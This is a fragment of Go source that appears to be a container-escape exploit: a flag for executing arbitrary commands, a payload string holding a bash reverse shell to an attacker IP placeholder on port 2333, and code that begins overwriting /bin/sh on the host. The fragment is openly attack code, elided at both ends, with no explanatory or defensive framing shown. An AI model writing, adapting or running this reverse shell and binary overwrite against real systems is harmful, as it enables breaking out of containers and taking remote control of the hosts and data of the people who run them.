//...

func init() {
        flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
        flag.Parse()
}

func main() {
        // This is the line of shell commands that will execute on the host
        var payload = "#!/bin/bash \n bash -i >& /dev/tcp/<attacker's ip>/2333 0>&1"
        // First we overwrite /bin/sh with the /proc/self/exe interpreter path
        fd, err := os.Create("/bin/sh")
        if err != nil {
                fmt.Println(err)
                return
        }
//...
    }